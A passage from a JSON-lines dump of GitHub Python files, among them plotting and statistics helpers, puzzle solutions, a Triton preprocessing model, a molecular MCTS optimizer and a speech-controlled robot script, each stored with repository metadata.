title,\r\n 'Spans periods (' + unit_in_symbol(unit_of_time) + ')',\r\n 'Probability density of period', unit_of_time,\r\n x_size, y_size, dpi, title_font, ticks_label_font, axis_title_font,\r\n color_ind, show, file_name, directory_address)\r\n\r\n def to_draw_distribution_density_of_spans_by_kde(self, freq, bandwidth, kernel='gaussian',\r\n title='Distribution density of spans period', unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12,\r\n axis_title_font=14, color_ind='blue', show=True, file_name=None,\r\n directory_address=None):\r\n to_draw_distribution_density_by_kde(self.spans_periods_sec, freq, bandwidth, title,\r\n 'Spans periods (' + unit_in_symbol(unit_of_time) + ')',\r\n 'Probability density of period', kernel, unit_of_time,\r\n x_size, y_size, dpi, title_font, ticks_label_font, axis_title_font,\r\n color_ind, show, file_name, directory_address)\r\n\r\n def to_draw_distribution_density_of_solutions(self, title='Distribution density of solutions period', unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12, axis_title_font=14,\r\n color_ind='blue', show=True, file_name=None, directory_address=None):\r\n to_draw_distribution_density(self.solution_periods_sec, title,\r\n 'Spans periods (' + unit_in_symbol(unit_of_time) + ')',\r\n 'Probability density of period', unit_of_time,\r\n x_size, y_size, dpi, title_font, ticks_label_font, axis_title_font,\r\n color_ind, show, file_name, directory_address)\r\n\r\n def to_draw_distribution_density_of_solutions_by_kde(self, freq, bandwidth, kernel='gaussian',\r\n title='Distribution density of spans period', unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12,\r\n axis_title_font=14, color_ind='blue', show=True, file_name=None,\r\n directory_address=None):\r\n to_draw_distribution_density_by_kde(self.solution_periods_sec, freq, bandwidth, title,\r\n 'Spans periods (' + unit_in_symbol(unit_of_time) + ')',\r\n 'Probability density of period', kernel, unit_of_time,\r\n x_size, y_size, dpi, title_font, ticks_label_font, axis_title_font,\r\n color_ind, show, file_name, directory_address)\r\n\r\n def to_draw_probability_of_spans(self, title='Probability of spans period', unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12, axis_title_font=14,\r\n color_ind='blue', show=True, file_name=None, directory_address=None):\r\n to_draw_probability(self.spans_periods_sec, title,\r\n 'Spans periods (' + unit_in_symbol(unit_of_time) + ')',\r\n 'Probability of period', unit_of_time,\r\n x_size, y_size, dpi, title_font, ticks_label_font, axis_title_font,\r\n color_ind, show, file_name, directory_address)\r\n\r\n def to_draw_probability_of_solutions(self, title='Probability of solutions period', unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12,\r\n axis_title_font=14, color_ind='blue', show=True, file_name=None,\r\n directory_address=None):\r\n to_draw_probability(self.solution_periods_sec, title,\r\n 'Solutions periods (' + unit_in_symbol(unit_of_time) + ')',\r\n 'Probability of period', unit_of_time,\r\n x_size, y_size, dpi, title_font, ticks_label_font, axis_title_font,\r\n color_ind, show, file_name, directory_address)\r\n\r\n\r\ndef to_determine_median_average_max_min_dispersion_standard(numbers, time_unit='days'):\r\n \"\"\"\r\n @Описание:\r\n По списку чисел вычисляет их среднее, медианное, максимальное, минимальное значение, их дисперсию и\r\n среднеквадратическое отклонение.\r\n :param numbers: список чисел, для которых проводится вычисления.\r\n :return:\r\n average_value: среднее значение по списку numbers (double)\r\n median_value: медианное значение по списку numbers (double)\r\n max_value: максимальное значение по списку numbers (double)\r\n min_value: минимальное значение по списку numbers (double)\r\n dispersion: дисперсия по списку numbers (double)\r\n standard_deviation: среднеквадратическое отклонение по списку numbers (double)\r\n \"\"\"\r\n if len(numbers) > 0:\r\n unit_in_seconds = to_get_unit_in_seconds(time_unit)\r\n average_value = statistics.mean(numbers) / unit_in_seconds\r\n median_value = statistics.median(numbers) / unit_in_seconds\r\n max_value = max(numbers) / unit_in_seconds\r\n min_value = min(numbers) / unit_in_seconds\r\n if len(numbers) > 1:\r\n dispersion = statistics.variance(numbers) / unit_in_seconds\r\n standard_deviation = statistics.stdev(numbers) / unit_in_seconds\r\n else:\r\n dispersion = 0\r\n standard_deviation = 0\r\n else:\r\n average_value = 0\r\n median_value = 0\r\n max_value = 0\r\n min_value = 0\r\n dispersion = 0\r\n standard_deviation = 0\r\n return average_value, median_value, max_value, min_value, dispersion, standard_deviation\r\n\r\n\r\ndef to_draw_histogram(values, title, x_label, y_label, unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12, axis_title_font=14,\r\n color_ind='blue', show=True, file_name=None, directory_address=None):\r\n histogram = to_make_histogram(values, unit_of_time)\r\n np.sum(histogram * np.arange(0, len(histogram)))\r\n to_draw_graph(histogram, title, x_label, y_label, x_size, y_size, dpi, title_font, ticks_label_font,\r\n axis_title_font, color_ind, show, file_name, directory_address)\r\n\r\n\r\ndef to_draw_distribution_density(values, title, x_label, y_label, unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12, axis_title_font=14,\r\n color_ind='blue', show=True, file_name=None, directory_address=None):\r\n histogram = to_make_histogram(values, unit_of_time)\r\n distribution_density = histogram / sum(histogram)\r\n to_draw_graph(distribution_density, title, x_label, y_label, x_size, y_size, dpi, title_font, ticks_label_font,\r\n axis_title_font, color_ind, show, file_name, directory_address)\r\n\r\n\r\ndef to_draw_probability(values, title, x_label, y_label, unit_of_time='days',\r\n x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12, axis_title_font=14,\r\n color_ind='blue', show=True, file_name=None, directory_address=None):\r\n histogram = to_make_histogram(values, unit_of_time)\r\n distribution_density = histogram / sum(histogram)\r\n probability = np.zeros(len(distribution_density))\r\n probability[0] = distribution_density[0]\r\n for i in range(1, len(probability[1:])):\r\n probability[i] = distribution_density[i] + probability[i - 1]\r\n to_draw_graph(probability, title, x_label, y_label, x_size, y_size, dpi, title_font, ticks_label_font,\r\n axis_title_font, color_ind, show, file_name, directory_address)\r\n\r\n\r\ndef to_draw_distribution_density_by_kde(values, freq, bandwidth, title, x_label, y_label, kernel='gaussian',\r\n unit_of_time='days', x_size=10, y_size=6, dpi=100, title_font=16,\r\n ticks_label_font=12, axis_title_font=14, color_ind='blue', show=True,\r\n file_name=None, directory_address=None):\r\n step = to_get_unit_in_seconds(unit_of_time)\r\n # Определение максимума гистограммы по времени в секундах\r\n max_value = seconds_to_unit((max(values) // step) * step + step, unit_of_time)\r\n value_grid = np.linspace(0, max_value, freq * max_value)[:, np.newaxis]\r\n kde = KernelDensity(kernel=kernel, bandwidth=bandwidth).fit(seconds_to_unit(np.array(values), unit_of_time)\r\n [:, np.newaxis])\r\n dens = np.exp(kde.score_samples(value_grid))\r\n to_draw_compressed_graph(dens, freq, title, x_label, y_label, x_size, y_size, dpi, title_font,\r\n ticks_label_font, axis_title_font, color_ind, show, file_name, directory_address)\r\n\r\ndef to_make_histogram(values, unit_of_time='days'):\r\n # Перевод единиц измерения unit_of_time в секунды\r\n step = to_get_unit_in_seconds(unit_of_time)\r\n # Определение максимума гистограммы по времени в секундах\r\n max_value = (max(values) // step) * step + step\r\n # Перевод максимума гистограммы по времени из секунд в unit_of_time\r\n histogram_len = int(max_value // step)\r\n # Составление гистограммы\r\n histogram = np.zeros((histogram_len))\r\n for value in values:\r\n index = int(value // step)\r\n histogram[index] += 1\r\n return histogram\r\n\r\n\r\ndef to_draw_graph(values, title, x_label, y_label, x_size=10, y_size=6, dpi=100, title_font=16, ticks_label_font=12,\r\n axis_title_font=14, color_ind='blue', show=True, file_name=None, directory_address=None):\r\n \"\"\"\r\n @Описание:\r\n Метод принимает данные о гистограмме и строит по ним графическое представление с помощью пакета matplotlib.\r\n Также для метода, задаются параметры графического представления построенной гистограммы: высота, ширина,\r\n количество пикселей на дюйм, размеры шрифтов подписей обозначений на осях, заголовка и осей, а также\r\n сами заголовок и названия осей. После постраения гистограмма сохраняется по выбранному адресу в png, pdf\r\n или обоих форматах.\r\n :param hist_address: адрес по которому сохраняется гистограмма (с названием, но без формата) (String)\r\n :param hist_title: название гистограммы, которым он будет подписан в графическом представлении (String)\r\n :param hist_values: данные о гистограмме (значения каждого столбца в списке) (int)\r\n :param x_size: размер графического представления графика по оси x (в ширину) в дюймах (int, float)\r\n :param y_size: размер графического представления графика по оси y (в высоту) в дюймах (int, float)\r\n :param dpi: количество пикселей на дюм в графическом представлении графика (int)\r\n :param x_label: название оси x, которым будет подписываться эта ось на графическом представлении (String)\r\n :param y_label: название оси y, которым будет подписываться эта ось на графическом представлении (String)\r\n :param ticks_label_font: размер шрифта названия графика graph_title, которым он подписывается на графическом\r\n представлении (int)\r\n :param title_font: размер шрифта названия графика осей x_label, y_label на графическом представлении (int)\r\n :param axis_title_font: размер шрифта, обозначений засечек на осях x и y в графическом представлении (int)\r\n :param color_ind: текстовое обозначение цвета графика (String)\r\n :param output_in_png: если True, то выводить график в формате png (boolean). По умолчанию False\r\n :param output_in_pdf: если True, то выводить график в формате pdf (boolean). По умолчанию True\r\n :return: сохраняет по адресу hist_address графическое представление гистограммы в форматах png, pdf или обоих\r\n одновременно, построенный по зависимости hist_title, time_axis_original с размерами x_size, y_size,\r\n разрешениеь dpi на дюйм, с подписью графика graph_title, подписями осей x_label, y_label, с рамерами\r\n шрифтов названия, подписей осей и подписей осей ticks_label_font, title_font, axis_title_font,\r\n соответственно, цветом графика color.\r\n \"\"\"\r\n graph = plt.figure(figsize=(x_size, y_size), dpi=dpi)\r\n ax = graph.add_subplot(111)\r\n\r\n plt.bar(range(0, len(values)), values, width=1, color=color_ind)\r\n # Изменение размера шрифта подписей оси x\r\n for label in ax.xaxis.get_ticklabels():\r\n label.set_fontsize(ticks_label_font)\r\n # Изменение размера шрифта подписей оси y\r\n for label in ax.yaxis.get_ticklabels():\r\n label.set_fontsize(ticks_label_font)\r\n plt.title(title, fontsize=title_font)\r\n plt.ylabel(y_label, fontsize=axis_title_font)\r\n plt.xlabel(x_label, fontsize=axis_title_font)\r\n plt.grid(True)\r\n plt.rcParams['pdf.fonttype'] = 42\r\n plt.rcParams['font.family'] = 'Calibri'\r\n # Позиции засечек на графике минимальных, чтобы весь график был виден для обеих осей\r\n y_ticks = ax.get_yticks()\r\n max_y_value = max(values)\r\n i = -1\r\n while ~(y_ticks[i] >= max_y_value > y_ticks[i - 1]):\r\n i = i - 1\r\n min_suitable_y_tick = y_ticks[i]\r\n x_ticks = ax.get_xticks()\r\n max_x_value = len(values)\r\n i = -1\r\n while ~(x_ticks[i] >= max_x_value > x_ticks[i - 1]):\r\n i = i - 1\r\n min_suitable_x_tick = x_ticks[i]\r\n plt.axis([0, min_suitable_x_tick, 0, min_suitable_y_tick])\r\n if show:\r\n plt.show()\r\n # Вывод зависимости в виде графика в файле png, если требуется\r\n if file_name is not None and directory_address is not None:\r\n graph.savefig(\"\".join([directory_address, '\\\\', file_name, '.png']))\r\n\r\n\r\ndef to_draw_compressed_graph(values, comp_coef, title, x_label, y_label, x_size=10, y_size=6, dpi=100, title_font=16,\r\n ticks_label_font=12, axis_title_font=14, color_ind='blue', show=True, file_name=None,\r\n directory_address=None):\r\n \"\"\"\r\n @Описание:\r\n Метод принимает данные о гистограмме и строит по ним графическое представление с помощью пакета matplotlib.\r\n Также для метода, задаются параметры графического представления построенной гистограммы: высота, ширина,\r\n количество пикселей на дюйм, размеры шрифтов подписей обозначений на осях, заголовка и осей, а также\r\n сами заголовок и названия осей. После постраения гистограмма сохраняется по выбранному адресу в png, pdf\r\n или обоих форматах.\r\n :param hist_address: адрес по которому сохраняется гистограмма (с названием, но без формата) (String)\r\n :param hist_title: название гистограммы, которым он будет подписан в графическом представлении (String)\r\n :param hist_values: данные о гистограмме (значения каждого столбца в списке) (int)\r\n :param x_size: размер графического представления графика по оси x (в ширину) в дюймах (int, float)\r\n :param y_size: размер графического представления графика по оси y (в высоту) в дюймах (int, float)\r\n :param dpi: количество пикселей на дюм в графическом представлении графика (int)\r\n :param x_label: название оси x, которым будет подписываться эта ось на графическом представлении (String)\r\n :param y_label: название оси y, которым будет подписываться эта ось на графическом представлении (String)\r\n :param ticks_label_font: размер шрифта названия графика graph_title, которым он подписывается на графическом\r\n представлении (int)\r\n :param title_font: размер шрифта названия графика осей x_label, y_label на графическом представлении (int)\r\n :param axis_title_font: размер шрифта, обозначений засечек на осях x и y в графическом представлении (int)\r\n :param color_ind: текстовое обозначение цвета графика (String)\r\n :param output_in_png: если True, то выводить график в формате png (boolean). По умолчанию False\r\n :param output_in_pdf: если True, то выводить график в формате pdf (boolean). По умолчанию True\r\n :return: сохраняет по адресу hist_address графическое представление гистограммы в форматах png, pdf или обоих\r\n одновременно, построенный по зависимости hist_title, time_axis_original с размерами x_size, y_size,\r\n разрешениеь dpi на дюйм, с подписью графика graph_title, подписями осей x_label, y_label, с рамерами\r\n шрифтов названия, подписей осей и подписей осей ticks_label_font, title_font, axis_title_font,\r\n соответственно, цветом графика color.\r\n \"\"\"\r\n graph = plt.figure(figsize=(x_size, y_size), dpi=dpi)\r\n ax = graph.add_subplot(111)\r\n\r\n plt.bar(np.arange(0, len(values)) / comp_coef, values, width=1 / comp_coef, color=color_ind)\r\n # Изменение размера шрифта подписей оси x\r\n for label in ax.xaxis.get_ticklabels():\r\n label.set_fontsize(ticks_label_font)\r\n # Изменение размера шрифта подписей оси y\r\n for label in ax.yaxis.get_ticklabels():\r\n label.set_fontsize(ticks_label_font)\r\n plt.title(title, fontsize=title_font)\r\n plt.ylabel(y_label, fontsize=axis_title_font)\r\n plt.xlabel(x_label, fontsize=axis_title_font)\r\n plt.grid(True)\r\n plt.rcParams['pdf.fonttype'] = 42\r\n plt.rcParams['font.family'] = 'Calibri'\r\n # Позиции засечек на графике минимальных, чтобы весь график был виден для обеих осей\r\n y_ticks = ax.get_yticks()\r\n max_y_value = max(values)\r\n i = -1\r\n while ~(y_ticks[i] >= max_y_value > y_ticks[i - 1]):\r\n i = i - 1\r\n min_suitable_y_tick = y_ticks[i]\r\n x_ticks = ax.get_xticks()\r\n max_x_value = len(values) / comp_coef\r\n i = -1\r\n while ~(x_ticks[i] >= max_x_value > x_ticks[i - 1]):\r\n i = i - 1\r\n min_suitable_x_tick = x_ticks[i]\r\n plt.axis([0, min_suitable_x_tick, 0, min_suitable_y_tick])\r\n if show:\r\n plt.show()\r\n # Вывод зависимости в виде графика в файле png, если требуется\r\n if file_name is not None and directory_address is not None:\r\n graph.savefig(\"\".join([directory_address, '\\\\', file_name, '.png']))","repo_name":"ZotovSergey/OperativeOpportunity","sub_path":"Statistics/Statistics.py","file_name":"Statistics.py","file_ext":"py","file_size_in_byte":51878,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"18001655179","text":"def first():\n with open(\"input.txt\", \"r\") as f:\n lines = f.read().splitlines()\n bits = len(lines[0])\n majority = [0 for i in range(bits)]\n\n for line in lines:\n for i in range(bits):\n majority[i] += 1 if line[i] == '1' else -1\n \n gamma = 0\n epsilon = 0\n\n for i in range(bits-1, -1, -1):\n gamma += (1 << bits-1-i) if majority[i] >= 0 else 0\n epsilon += (1 << bits-1-i) if majority[i] < 0 else 0\n \n return gamma * epsilon\n\ndef second():\n with open(\"input.txt\", \"r\") as f:\n lines = f.read().splitlines()\n oxygen = [line for line in lines]\n scrubber = [line for line in lines]\n bits = len(lines[0])\n\n for bit in range(bits):\n majority = 0\n for line in oxygen:\n majority += 1 if line[bit] == '1' else -1\n favored_bit = '1' if majority >= 0 else '0'\n for line in lines:\n if line in oxygen and favored_bit != line[bit]:\n oxygen.remove(line)\n if len(oxygen) == 1:\n break\n\n for bit in range(bits):\n majority = 0\n for line in scrubber:\n majority += 1 if line[bit] == '1' else -1\n favored_bit = '0' if majority >= 0 else '1'\n for line in lines:\n if line in scrubber and favored_bit != line[bit]:\n scrubber.remove(line)\n if len(scrubber) == 1:\n break\n\n return int(oxygen[0], 2) * int(scrubber[0], 2)\n\nif __name__ == '__main__':\n print(first())\n print(second())","repo_name":"kulgg/coding-problems","sub_path":"advent-of-code/2021/3/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"11607538801","text":"import random\n\nprint('Hello there is one NUMBER I am thinking now(Integrate)')\nprint('Can you guess the NUMBER what I thinking?(From 1 to 20)')\nsecretNum = random.randint(1, 20);\nfor i in range(6):\n guesses = int(input())\n if guesses < secretNum:\n print('You guess is too low.')\n elif guesses > secretNum:\n print('Your guess is too high.')\n else:\n break\nif guesses == secretNum:\n print('Good job! You guess my NUMBER in ' + str(i+1) + ' guesses!')\nelse:\n print('Nope. The NUMBER I was thinking of was ' + str(secretNum))\n","repo_name":"CoffeeCati/pythonBasic","sub_path":"03_Function_digit game.py","file_name":"03_Function_digit game.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"16169472054","text":"class Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n if len(s) == 0:\n return 0\n if len(s) == 1:\n return 1\n else:\n testSet = set(s)\n if len(testSet) != len(s):\n len1 = self.lengthOfLongestSubstring(s[1:])\n len2 = self.lengthOfLongestSubstring(s[:len(s) - 1])\n return len1 if len1 > len2 else len2\n elif len(testSet) == len(s):\n return len(s)\n\nclass Solution2:\n def lengthOfLongestSubstring(self, s: str) -> int:\n longest = 0\n for i in range(len(s)):\n length1 = 0\n testList = [0] * 128\n for j in range(i, len(s), 1):\n if testList[ord(s[j])] != 0:\n break\n else:\n testList[ord(s[j])] = 1\n length1 += 1\n longest = max(longest, length1)\n return longest\n\nif __name__ == \"__main__\":\n test = Solution2()\n print(test.lengthOfLongestSubstring(\"abcabcbb\"))\n\n","repo_name":"MiuMiuMiue/leetcode","sub_path":"longestSubstringWithoutRepeatingCharacters.py","file_name":"longestSubstringWithoutRepeatingCharacters.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"7228154070","text":"import triton_python_backend_utils as pb_utils\nimport numpy as np\n# from skimage.transform import resize\n\nclass TritonPythonModel:\n def execute(self, requests):\n responses = []\n for request in requests:\n raw_images = pb_utils.get_input_tensor_by_name(request, \"image\").as_numpy()\n\n # raw_images = resize(raw_images, (512,512))\n img_tensor = np.expand_dims(raw_images,axis=0)\n img_tensor /= 255.\n input_image_tensor = pb_utils.Tensor(\n \"input_image\", img_tensor.astype(np.float32)\n )\n response = pb_utils.InferenceResponse(\n output_tensors = [input_image_tensor]\n )\n\n responses.append(response)\n\n return responses\n ","repo_name":"Oldentomato/Capstone_Project","sub_path":"tensorflow/triton/preprocessing/1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"16227764352","text":"from datetime import date\nimport pytest\nfrom fortune.fortune import BirthdayBasedFortuneTeller, UserProfile\n\n\n@pytest.mark.parametrize(\n \"birthday, today, expected\",\n [\n (date(1993, 4, 14), date(1993, 4, 14), 777),\n (date(1993, 4, 14), date(1993, 4, 15), 0),\n (date(1993, 4, 14), date(1993, 5, 14), 0),\n ],\n)\ndef test_birthday_based_lucky_number(birthday, today, expected):\n User_profile = UserProfile(name=\"Bob\", birthday=birthday)\n fortune_teller = BirthdayBasedFortuneTeller()\n\n actual = fortune_teller._lucky_number(User_profile, today)\n\n assert actual == expected\n","repo_name":"121786addzczd/python-practice","sub_path":"src/cli/tests/test_fortune.py","file_name":"test_fortune.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"28015866213","text":"# code modified from https://github.com/haroldsultan/MCTS/blob/master/mcts.py\nimport argparse\nimport hashlib\nimport math\nimport os\nimport random\nimport yaml\nfrom time import time\n\nimport numpy as np\nfrom rdkit import Chem, rdBase\nfrom rdkit.Chem import AllChem\nrdBase.DisableLog('rdApp.error')\nfrom tdc import Oracle\n\nfrom stats import Stats, get_stats_from_pickle\nfrom main.optimizer import BaseOptimizer\n\n\ndef run_rxn(rxn_smarts, mol):\n new_mol_list = []\n patt = rxn_smarts.split('>>')[0]\n # work on a copy so an un-kekulized version is returned\n # if the molecule is not changed\n mol_copy = Chem.Mol(mol)\n try:\n Chem.Kekulize(mol_copy)\n except ValueError:\n pass\n if mol_copy.HasSubstructMatch(Chem.MolFromSmarts(patt)):\n rxn = AllChem.ReactionFromSmarts(rxn_smarts)\n new_mols = rxn.RunReactants((mol_copy,))\n for new_mol in new_mols:\n try:\n Chem.SanitizeMol(new_mol[0])\n new_mol_list.append(new_mol[0])\n except ValueError:\n pass\n if len(new_mol_list) > 0:\n new_mol = random.choice(new_mol_list)\n return new_mol\n else:\n return mol\n else:\n return mol\n\n\ndef add_atom(rdkit_mol, stats: Stats):\n old_mol = Chem.Mol(rdkit_mol)\n if np.random.random() < 0.63: # probability of adding ring atom\n rxn_smarts = np.random.choice(stats.rxn_smarts_ring_list, p=stats.p_ring)\n if not rdkit_mol.HasSubstructMatch(Chem.MolFromSmarts('[r3,r4,r5]')) \\\n or AllChem.CalcNumAliphaticRings(rdkit_mol) == 0:\n rxn_smarts = np.random.choice(stats.rxn_smarts_make_ring, p=stats.p_ring)\n if np.random.random() < 0.036: # probability of starting a fused ring\n rxn_smarts = rxn_smarts.replace(\"!\", \"\")\n else:\n if rdkit_mol.HasSubstructMatch(Chem.MolFromSmarts('[*]1=[*]-[*]=[*]-1')):\n rxn_smarts = '[r4:1][r4:2]>>[*:1]C[*:2]'\n else:\n rxn_smarts = np.random.choice(stats.rxn_smarts_list, p=stats.p)\n\n rdkit_mol = run_rxn(rxn_smarts, rdkit_mol)\n if valences_not_too_large(rdkit_mol):\n return rdkit_mol\n else:\n return old_mol\n\n\ndef expand_small_rings(rdkit_mol):\n Chem.Kekulize(rdkit_mol, clearAromaticFlags=True)\n rxn_smarts = '[*;r3,r4;!R2:1][*;r3,r4:2]>>[*:1]C[*:2]'\n while rdkit_mol.HasSubstructMatch(Chem.MolFromSmarts('[r3,r4]=[r3,r4]')):\n rdkit_mol = run_rxn(rxn_smarts, rdkit_mol)\n return rdkit_mol\n\n\ndef valences_not_too_large(rdkit_mol):\n valence_dict = {5: 3, 6: 4, 7: 3, 8: 2, 9: 1, 14: 4, 15: 5, 16: 6, 17: 1, 34: 2, 35: 1, 53: 1}\n atomicNumList = [a.GetAtomicNum() for a in rdkit_mol.GetAtoms()]\n valences = [valence_dict[atomic_num] for atomic_num in atomicNumList]\n BO = Chem.GetAdjacencyMatrix(rdkit_mol, useBO=True)\n number_of_bonds_list = BO.sum(axis=1)\n for valence, number_of_bonds in zip(valences, number_of_bonds_list):\n if number_of_bonds > valence:\n return False\n return True\n\n\nclass State:\n\n def __init__(self, oracle, mol, smiles, max_atoms, max_children, stats: Stats, seed):\n self.mol = mol\n self.turn = max_atoms\n self.smiles = smiles\n self.oracle = oracle\n self.score = self.oracle(self.smiles)\n self.max_children = max_children\n self.stats = stats\n self.seed = seed\n\n def next_state(self):\n smiles = self.smiles\n # TODO: this seems dodgy...\n for i in range(100):\n mol = add_atom(self.mol, self.stats)\n smiles = Chem.MolToSmiles(mol)\n if smiles != self.smiles:\n break\n next_state = State(oracle=self.oracle,\n mol=mol,\n smiles=smiles,\n max_atoms=self.turn - 1,\n max_children=self.max_children,\n stats=self.stats,\n seed=self.seed)\n return next_state\n\n def terminal(self):\n target_size = self.stats.size_std_dev * np.random.randn() + self.stats.average_size\n if self.mol is None:\n num_atoms = 0\n else:\n num_atoms = self.mol.GetNumAtoms()\n\n if self.turn == 0 or num_atoms > target_size:\n self.mol = expand_small_rings(self.mol)\n self.smiles = Chem.MolToSmiles(self.mol)\n # print('terminal!', self.score, self.best_score, self.smiles)\n return True\n\n return False\n\n def reward(self, best_state):\n if best_state is None or self.score > best_state.score:\n # best_state = self\n return 1.0\n else:\n return 0.0\n\n def __hash__(self):\n return int(hashlib.md5(str(self.smiles).encode('utf-8')).hexdigest(), 16)\n\n def __eq__(self, other):\n if hash(self) == hash(other):\n return True\n return False\n\n def __repr__(self):\n return f'Value: {self.value} | Moves: {self.moves} | Turn {self.turn}'\n\n\nclass Node:\n def __init__(self, state, parent=None):\n self.visits = 1\n self.reward = 0.0\n self.state = state\n self.children = []\n self.parent = parent\n\n def add_child(self, child_state):\n child = Node(child_state, self)\n self.children.append(child)\n\n def update(self, reward):\n self.reward += reward\n self.visits += 1\n\n def fully_expanded(self):\n if len(self.children) == self.state.max_children:\n return True\n return False\n\n def __repr__(self):\n s = str(self.state.smiles)\n return s\n\n\ndef tree_policy(node, exploration_coefficient=(1/math.sqrt(2.0))):\n # a hack to force 'exploitation' in a game where there are many options, and you may never/not want to fully expand first\n while node.fully_expanded() and not node.state.oracle.finish:\n node = best_child(node, exploration_coefficient)\n\n if node.state.terminal():\n return node\n else:\n node = expand_all(node)\n return node\n\n\ndef expand_all(node):\n lcount = 0\n while not node.fully_expanded() and lcount < node.state.max_children and not node.state.oracle.finish:\n lcount += 1\n node = expand(node)\n return node\n\n\ndef expand(node):\n tried_children = [c.state for c in node.children]\n new_state = node.state.next_state()\n lcount = 0\n while new_state in tried_children and lcount < new_state.max_children:\n lcount += 1\n new_state = node.state.next_state()\n node.add_child(new_state)\n return node\n\n\n# current this uses the most vanilla MCTS formula it is worth experimenting with THRESHOLD ASCENT (TAGS)\ndef best_child(node, exploration_coefficient):\n bestscore = 0.0\n bestchildren = []\n for c in node.children:\n exploit = c.reward / c.visits\n explore = math.sqrt(2.0 * math.log(node.visits) / float(c.visits))\n score = exploit + exploration_coefficient * explore\n # print(score, node.state.terminal(), node.state.smiles, bestscore)\n if score == bestscore:\n bestchildren.append(c)\n if score >= bestscore:\n bestchildren = [c]\n bestscore = score\n if len(bestchildren) == 0:\n print(\"OOPS: no best child found, probably fatal\")\n return node\n return random.choice(bestchildren)\n\n\ndef default_policy(state, best_state):\n while not state.terminal() and not state.oracle.finish:\n state = state.next_state()\n reward = state.reward(best_state)\n if reward == 1:\n best_state = state\n return reward, best_state\n\n\ndef backup(node, reward):\n while node is not None:\n node.visits += 1\n node.reward += reward\n node = node.parent\n return\n\n\nclass Graph_MCTS_Optimizer(BaseOptimizer):\n\n def __init__(self, args=None):\n super().__init__(args)\n self.model_name = \"graph_mcts\"\n\n def _optimize(self, oracle, config):\n \n self.oracle.assign_evaluator(oracle)\n\n init_mol = Chem.MolFromSmiles(config[\"init_smiles\"])\n stats = get_stats_from_pickle(self.args.pickle_directory)\n\n # evolution: go go go!!\n while True:\n\n # UCB Tree Search\n if self.finish:\n break\n tmp_seed = int(time())\n np.random.seed(tmp_seed)\n best_state = None\n root_node = Node(State(oracle=self.oracle,\n mol=init_mol,\n smiles=config[\"init_smiles\"],\n max_atoms=config[\"max_atoms\"],\n max_children=config[\"max_children\"],\n stats=stats, \n seed=tmp_seed))\n\n for _ in range(int(config[\"num_sims\"])):\n front = tree_policy(root_node, exploration_coefficient=config[\"exploration_coefficient\"])\n if self.finish:\n break\n for child in front.children:\n reward, best_state = default_policy(child.state, best_state)\n backup(child, reward)\n if self.finish:\n break\n\n","repo_name":"wenhao-gao/mol_opt","sub_path":"main/graph_mcts/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9247,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"23"} +{"seq_id":"45895629096","text":"from pants.testutil.pants_integration_test import run_pants\n\n\ndef test_subsystem_help_is_registered() -> None:\n pants_run = run_pants(\n [\n \"--backend-packages=pants.backend.experimental.python.packaging.pyoxidizer\",\n \"help\",\n \"pyoxidizer\",\n ]\n )\n pants_run.assert_success()\n assert \"PANTS_PYOXIDIZER_ARGS\" in pants_run.stdout","repo_name":"sureshjoshi/pants-pyoxidizer-plugin","sub_path":"pants-plugins/experimental/pyoxidizer/subsystem_integration_test.py","file_name":"subsystem_integration_test.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"24179485051","text":"import speech_recognition as sr\nimport time\nimport socket \n#import brickpi3\n\n#BP.brickpi3.BrickPi3()\nword = ''\n\n\n# Record Audio\nwhile word != \"quit\":\n r = sr.Recognizer()\n with sr.Microphone() as source:\n print(\"Say something!\")\n audio = r.listen(source)\n \n # Speech recognition using Google Speech Recognition\n try:\n # to use another API key, use `r.recognize_google(audio, key=\"GOOGLE_SPEECH_RECOGNITION_API_KEY\")`\n word = r.recognize_google(audio)\n print(\"You said: \" + word)\n if word == \"left\":\n print(\"LEFT\")\n #BP.set_motor_position(BP.Port_A,45)\n elif word == \"right\":\n print(\"RIGHT\")\n #BP.set_motor_position(BP.Port_A,-45)\n elif word == \"shoot\":\n print(\"SHOOT\")\n #BP.set_motor_power(BP.Port_B,200)\n #time.sleep(.65)\n #BP.set_motor_power(BP.Port_B,0)\n elif word == \"stop\" or word == \"quit\" or word == \"no\":\n print(\"STOP\")\n #BP.reset_all()\n break\n else:\n print(\"Not a command recognized by this program!\")\n except sr.UnknownValueError:\n print(\"Google Speech Recognition could not understand audio\")\n except sr.RequestError as e:\n print(\"Could not request results from Google Speech Recognition service; {0}\".format(e))\n except KeyboardInterrupt:\n print(\"resetting all\")\n #BP.reset_all()","repo_name":"Rjbeckwith55/PythonProjects","sub_path":"PythonApplication1/Google_Speech_Recognition.py","file_name":"Google_Speech_Recognition.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} 